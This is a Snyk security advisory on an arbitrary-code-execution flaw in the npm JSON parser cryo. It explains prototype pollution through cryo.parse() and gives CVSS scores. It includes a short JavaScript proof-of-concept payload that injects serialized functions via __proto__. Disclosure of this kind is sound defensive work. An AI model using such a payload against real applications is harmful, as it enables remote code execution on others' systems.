Arbitrary Code Execution Affecting cryo package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Mature
    EPSS
    0.25% (65th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID npm:cryo:20180619
  • published 24 Jun 2018
  • disclosed 8 Feb 2017
  • credit Alexey Tyurin

How to fix?

There is no fix version for cryo

Overview

cryo is a json parser.

Affected versions of this package are vulnerable to Arbitrary Code Execution when untrusted user-input is passed into the cryo.parse() function.

cryo is used to deserialize JSON files into an object by useing square bracket notation ( obj[key]=value ) and interacts with the object later in the code (to convert to string, for example). Given that the JSON is controlled by user input, an attacker may be able to change the __proto__ property for a new object.

cryo also serialization of functions, so the attacker can set their own methods (toString, valueOf) for the new object. If the application interacts later on with the new object in a way which leads to invocation of the object's prototype functions, the attacker's malicious code would execute.

PoC:

var Cryo = require('cryo');
var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var hydrated = Cryo.parse(frozen);
console.log(hydrated);

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
9.8 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

9.8 critical